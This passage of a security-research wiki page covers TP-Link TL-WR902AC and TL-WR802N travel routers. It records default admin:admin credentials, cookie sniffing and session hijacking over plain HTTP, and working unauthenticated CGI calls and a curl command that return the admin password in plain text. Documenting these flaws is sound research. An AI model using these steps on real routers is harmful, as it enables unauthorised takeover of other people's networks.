Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel, cpe:/o:linux:linux_kernel:2.6.36&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;b&amp;gt;Wide Area Network (WAN)&amp;lt;/b&amp;gt;&lt;br /&gt;
&amp;lt;span style=&amp;quot;font-size: 11px&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;Host is up.&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Spoiler&amp;lt;/b&amp;gt;: The username and password are shared between http, ftp, ssh and smb services. It is set via Web interface and stored in the passwd file. The default credentials are &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Secure shell (SSH)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ssh admin@192.168.0.1&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
PTY allocation request failed on channel 0&lt;br /&gt;
shell request failed on channel 0&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ scp admin@192.168.0.1:/etc/passwd ./tmp/&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin@192.168.0.1&#039;s password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
exec request failed on channel 0&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: &amp;lt;code&amp;gt;PTY allocation request failed&amp;lt;/code&amp;gt; indicated that the login was successful, but the devices provides no interctive shell. This can be seen using the &amp;lt;code&amp;gt;-vvv&amp;lt;/code&amp;gt; debugging mode with &amp;lt;code&amp;gt;ssh&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;To help customers manage and configure the TP-Link device better, some TP-Link apps are published for mobile devices, such as Tether 2.0 app, Deco app, Tapo app, and tpCamera app, etc. The TP-Link app adopts SSH service, so the products that can use the app also support SSH correspondingly. And TCP port 22 as the default port of SSH Service is set to be opened. However, SSH Services on the TP-Link products are only available for TP-Link apps. Other SSH clients cannot access to TP-Link products or adjust their settings with command lines. So please rest assured that the SSH will never cause any safety issues on your device.&amp;lt;/p&amp;gt;&lt;br /&gt;
&amp;lt;p style=&amp;quot;text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Source&amp;lt;/b&amp;gt;: [[https://www.tp-link.com/us/support/faq/2462/ Support]]&amp;lt;/p&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: While the dropbear package provides SCP functionality, it does not contain anything for SFTP.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;File Transfer Protocol (FTP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; calc(100% - 12px); overflow:auto;&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR902AC&amp;lt;/b&amp;gt;: AC750 Wifi - Travel Router&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ ftp 192.168.1.1 21&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Connected to 192.168.1.1.&lt;br /&gt;
220 Welcome to TP-Link FTP server&lt;br /&gt;
Name (192.168.1.1): &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
331 Please specify the password.&lt;br /&gt;
Password: &amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
230 Login successful.&lt;br /&gt;
Remote system type is UNIX.&lt;br /&gt;
Using binary mode to transfer files.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; pwd&lt;br /&gt;
257 &amp;quot;/&amp;quot;&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt; dir&lt;br /&gt;
200 PORT command successful. Consider using PASV.&lt;br /&gt;
150 Here comes the directory listing.&lt;br /&gt;
226 Directory send OK.&lt;br /&gt;
&lt;br /&gt;
ftp&amp;gt;&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The FTP server maps to USB Volumes which can be configured on the webpage. The default FTP root is therefore empty.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: FTP ends up in an empty root directory using the credentials &amp;lt;code&amp;gt;admin:admin&amp;lt;/code&amp;gt;.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Server Message Block (SMB)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;TL-WR802N$ smbclient -L 192.168.1.1 -U admin&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
Unable to initialize messaging context&lt;br /&gt;
Enter WORKGROUP\admin&#039;s password:&lt;br /&gt;
Server requested LANMAN password (share-level security) but &#039;client lanman auth = no&#039; or &#039;client ntlmv2 auth = yes&#039;&lt;br /&gt;
tree connect failed: NT_STATUS_ACCESS_DENIED&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Universal Plug and Play (UPnP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;* https://coolaj86.com/articles/adventures-in-upnp-on-osx/&amp;lt;br&amp;gt;&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;TP-Link Device Debug Protocol (TDDP)&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Ongoing Investigation&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-Link Device Debug Protocol (TDDP) is in use across most of the TP-Link product line including routers and access points.&amp;lt;br&amp;gt;&lt;br /&gt;
* https://www.softscheck.com/en/reverse-engineering-tp-link-hs110/&lt;br /&gt;
* https://hackaday.com/2016/12/14/tp-link-debug-protocol-give-up-keys-to-kingdom/&lt;br /&gt;
* https://github.com/P0lako/tl-wa5210gV2_Downgrade&lt;br /&gt;
* https://www.zdnet.com/article/google-dev-discloses-zero-day-flaw-in-tp-link-smart-home-routers/&lt;br /&gt;
Such downgrade would be the only interesting attack in combination with all these vulnerability issues in FWv1&lt;br /&gt;
&amp;lt;span class=&amp;quot;todo&amp;quot; style=&amp;quot;font-size: 50px; line-height: 30px; padding-left: 10px&amp;quot;&amp;gt;⚒&amp;lt;/span&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Requires in-depth investigation!&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h2&amp;gt;Web Interface&amp;lt;/h2&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify; margin-bottom: 10px&amp;quot;&amp;gt;The device can be managed through a web interface or via mobile APP. The web interface is accessible over HTTP an requires authorization to access. The device provides an initial setup process, where a user could change credentails and WLAN passwords from its defaults, but doesn&#039;t enforce any changes. TP-Link use a custom http daemon including an CGI interface.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Webpage provides no encrypted connection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: No responsive design and almost useless on the phone, mobile users &amp;quot;should&amp;quot; use the mobile app.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Authentication Bypass&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: The user name and password can be changed.&amp;lt;br&amp;gt; Both must not exceed 15 characters in length and must not include any spaces. 32 characters on the newer firmware.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Cookies&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The login process at the TP-WR902AC with the FW version 170828 is quite primitive. The function &amp;lt;code&amp;gt;PCSubWin()&amp;lt;/code&amp;gt; is called by clicking the login button. This function does not communicate directly with the server, but creates an Authorization Cookie based on the content of the Username and Password field. The cookie is a Basic HTTP authentication, where &amp;lt;code&amp;gt;username:password&amp;lt;/code&amp;gt; Base64 is encoded and stored as a cookie. (Example: &amp;lt;code&amp;gt;Authorization=Basic YWRtaW46YWRtaW4=&amp;lt;/code&amp;gt; Afterwards the page is reloaded. If the authentication is successful, you will be transferred to the user interface. Otherwise the faulty cookie will be removed and the login page will be reloaded.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;var auth;&lt;br /&gt;
var password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
var userName = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value;&lt;br /&gt;
&lt;br /&gt;
auth = &amp;quot;Basic &amp;quot;+Base64Encoding(userName+&amp;quot;:&amp;quot;+password);&lt;br /&gt;
document.cookie = &amp;quot;Authorization=&amp;quot; + auth;&lt;br /&gt;
window.location.reload();&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: Login limited to 10 attempts&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 10px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The router allows only one administrator to login at the same time&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
[[File:TL-WR902ACLogin_Wireshark_MitM_Auth_Cookie.png|300px|right|thumb|TL-WR902AC: Wireshark Auth Cookie]]&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;This Authorization Cookie is transferred on every interaction with the server. Since the website does not offer a secure connection via HTTPS, it is very easy to intercept it by a MitM attack and finally decode Base64. This gives access to FTP, SSH and HTTP services due to the shared login. However, this requires a user who is currently active in the web interface. It should be noted that some web pages like the index page additionally reload the web page content (&amp;lt;code&amp;gt;/main/status.html?_=$TIMESTAMP&amp;lt;/code&amp;gt;) every 20 seconds and thus retransmit the cookie.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 &amp;lt;nowiki&amp;gt;&amp;lt;/nowiki&amp;gt;&amp;lt;b&amp;gt;$ echo YWRtaW46YWRtaW4= | base64 --decode&amp;lt;/b&amp;gt;&amp;lt;nowiki&amp;gt;&lt;br /&gt;
admin:admin&amp;lt;/nowiki&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using Session hijacking&amp;lt;/h4&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify&amp;quot;&amp;gt;The TP-WR802N with the new FW version 190428 doesn&#039;t use Authorisation Cookies anymore. It uses &amp;lt;code&amp;gt;JSESSIONID&amp;lt;/code&amp;gt; cookies as well as AES encrypted payload instead. But still supports HTTP only, which makes it still possible to easily hijack the ongoing session, but prevents to leak the credentials. It is very interesting to notice is that the Server send all necessary parameters to generate the AES encryption key in response to an unauthorized CGI call (&amp;lt;code&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;); $.exe(null,false,0);&amp;lt;/code&amp;gt;), which can be re-called at any point of time. Note that &amp;lt;code&amp;gt;nn&amp;lt;/code&amp;gt; changes on reboot and &amp;lt;code&amp;gt;seq&amp;lt;/code&amp;gt; on every request.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #31708f; background-color: #d9edf7; color: #31708f; padding: 5px 10px; margin-bottom: 5px; margin-top: 20px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Note&amp;lt;/b&amp;gt;: The Results of CGI calls are automatically parsed and accessable using JavaScript after executing &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. Example: &amp;lt;code&amp;gt;$.ret&amp;lt;/code&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;TL-WR802N&amp;lt;/b&amp;gt;: Login process&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_CGI, &amp;quot;/cgi/getParm&amp;quot;);&lt;br /&gt;
$.exe(null,false,0);&lt;br /&gt;
&lt;br /&gt;
	# Request Parameters&lt;br /&gt;
	# [/cgi/getParm#0,0,0,0,0,0#0,0,0,0,0,0]0,0&lt;br /&gt;
&lt;br /&gt;
	# Example Response&lt;br /&gt;
	# lib.js:396 XHR finished loading: POST &amp;quot;http://192.168.1.1/cgi?8&amp;quot;&lt;br /&gt;
	# [cgi]0&lt;br /&gt;
	# var ee=&amp;quot;010001&amp;quot;;&lt;br /&gt;
	# var nn=&amp;quot;BF52337CDDC3F46ADE7663765F170AB464AE93BF981B02B95FCE1E94&amp;quot; +&lt;br /&gt;
	#        &amp;quot;62DD9A03ED3E09CCEFDFD7FACE81EE38136FC081735686FE630BBADB&amp;quot; +&lt;br /&gt;
	#        &amp;quot;DAB24BE0443A2B25&amp;quot;;&lt;br /&gt;
	# var seq=&amp;quot;812508797&amp;quot;;&lt;br /&gt;
	# $.ret=0;&lt;br /&gt;
	# [error]0&lt;br /&gt;
&lt;br /&gt;
$.nn = nn;&lt;br /&gt;
$.ee = ee;&lt;br /&gt;
$.seq = seq;&lt;br /&gt;
&lt;br /&gt;
$.Iencryptor.setSeq($.seq);&lt;br /&gt;
$.Iencryptor.setRSAKey($.nn, $.ee);&lt;br /&gt;
$.Iencryptor.setHash(userName, password);&lt;br /&gt;
$.Iencryptor.genAESKey();&lt;br /&gt;
&lt;br /&gt;
var credentials = {};&lt;br /&gt;
credentials.username = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;pcPassword&amp;quot;).value;&lt;br /&gt;
credentials.password = &amp;quot;admin&amp;quot;; //$.id(&amp;quot;userName&amp;quot;).value; &lt;br /&gt;
&lt;br /&gt;
$.act(ACT_CGI, &amp;quot;/cgi/login&amp;quot;, null, null, credentials);&lt;br /&gt;
&lt;br /&gt;
$.newencryptorManager.recordEncryptor();&lt;br /&gt;
&lt;br /&gt;
if(!$.exe(null, false, 1)) {&lt;br /&gt;
	window.location.reload();&lt;br /&gt;
}	&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h4&amp;gt;Using unauthenticated CGI calls&amp;lt;/h4&amp;gt; &lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;As if that wasn&#039;t enough, it is even possible to retrieve the Admin Credentials in plain text. This is possible without authentication and can be done at any time. All that is needed is a call to the corresponding [[#Common Gateway Interface|Common Gateway Interface]] (CGI) object via JavaScript injection.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get All User Information&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;$.act(ACT_GET, USER_CFG); $.act(ACT_GET, CURRENT_USER); $.exe();&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	rootName=&lt;br /&gt;
	rootPwd=&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	userName=&lt;br /&gt;
	userPwd=&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]1&lt;br /&gt;
	userName=&lt;br /&gt;
	passwd=&lt;br /&gt;
	httpSession=&lt;br /&gt;
	userSetting=0&lt;br /&gt;
	action=0&lt;br /&gt;
	loginStatus=0&lt;br /&gt;
	userRole=3&lt;br /&gt;
	logInCloud=0&lt;br /&gt;
	needReconn=0&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div class=&amp;quot;toccolours mw-collapsible mw-collapsed&amp;quot; style=&amp;quot;border-color: #eaecf0; background-color: white; overflow:auto; calc(100% - 12px);&amp;quot;&amp;gt;&lt;br /&gt;
&amp;lt;div style=&amp;quot;line-height:1.6;&amp;quot;&amp;gt;&amp;amp;#9432; &amp;lt;b&amp;gt;Get admin username and password&amp;lt;/b&amp;gt;&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;div class=&amp;quot;mw-collapsible-content&amp;quot;&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;&lt;br /&gt;
$.act(ACT_GET, USER_CFG, null, null, [&amp;quot;adminName&amp;quot;, &amp;quot;adminPwd&amp;quot;]); $.exe();&lt;br /&gt;
// Or, by using cURL for once&lt;br /&gt;
// curl -X POST &amp;quot;http://192.168.1.1/cgi?1&amp;quot; -H &amp;quot;Referer: http://192.168.1.1&amp;quot; -d $&#039;[USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0]0,2\r\nadminName\r\nadminPwd\r\n&#039;&lt;br /&gt;
&lt;br /&gt;
	[0,0,0,0,0,0]0&lt;br /&gt;
	adminName=admin&lt;br /&gt;
	adminPwd=admin&lt;br /&gt;
	[error]0&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;h3&amp;gt;Common Gateway Interface&amp;lt;/h3&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;text-align: justify;&amp;quot;&amp;gt;The devices examined here use a CGI over http on port 80, which are evaluated by the TP-Link https daemon. The mobile app uses SSH over port 22 instead. When working with the CGI it is of great use to use the predefined functions &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt; via the browser console. These functions are part of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and then take care of converting the request into a format that is accepted by the server, and subsequently submit the request via AJAX using the &amp;lt;code&amp;gt;$.io()&amp;lt;/code&amp;gt; function. Using these functions is much more convenient, than imitating the format itself. The &amp;lt;code&amp;gt;$.act(type, oid, stack, pStack, attrs)&amp;lt;/code&amp;gt; function has 2 mandatory fields. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; of the request and an object identifier (&amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt;). Several requests can be pushed to the stack using &amp;lt;code&amp;gt;$.act()&amp;lt;/code&amp;gt; and then be queried together in one request using &amp;lt;code&amp;gt;$.exe()&amp;lt;/code&amp;gt;. The &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt; is added to the URL (&amp;lt;code&amp;gt;/cgi?1&amp;amp;2&amp;amp;3&amp;lt;/code&amp;gt;) as a numeric GET parameter. The &amp;lt;code&amp;gt;oid&amp;lt;/code&amp;gt; is added as a string in a parameter, in the form &amp;lt;code&amp;gt;[oid,0,0,0,0]0,0&amp;lt;/code&amp;gt;, to the payload. The remaining fields are not explained in detail. If attributes (&amp;lt;code&amp;gt;attr&amp;lt;/code&amp;gt;) are also sent, they are appended after the parameter of the payload. Several attributes will be transferred according to the number of added &amp;lt;code&amp;gt;type&amp;lt;/code&amp;gt;. A list of available types and OIDs and a shortened form of the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; is listed below in the Client-side CGI Insights tab. When analyzing the website, countless examples of using the mentioned functions can be found. Anyhow, the &amp;lt;code&amp;gt;lib.js&amp;lt;/code&amp;gt; and &amp;lt;code&amp;gt;oid_str.js&amp;lt;/code&amp;gt; are of great interest.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;JavaScript&amp;quot;&amp;gt;// Example Format&lt;br /&gt;
URL: http://192.168.1.1/cgi?5&amp;amp;1&amp;amp;1&lt;br /&gt;
Payload:&lt;br /&gt;
   [oid,0,0,0,0,0,0]0,0&lt;br /&gt;
   [oid,0,0,0,0,0,0,0]0,count(attr)&lt;br /&gt;
   attr[1]&lt;br /&gt;
   attr[2]&lt;br /&gt;
   attr[3]&lt;br /&gt;
   [USER_CFG#0,0,0,0,0,0#0,0,0,0,0,0,0]0,2&lt;br /&gt;
   adminName&lt;br /&gt;
   adminPwd&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;div style=&amp;quot;border: 1px solid #8a6d3b; background-color: #fcf8e3; color: #8a6d3b; padding: 5px 10px; margin-bottom: 5px; text-align: justify&amp;quot;&amp;gt;&amp;lt;b&amp;gt;Warning&amp;lt;/b&amp;gt;: If not using a modified $.io() function logging results to the console or similar, the responses must be found in the browsers network tab or Wireshark, depending on the setup.&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
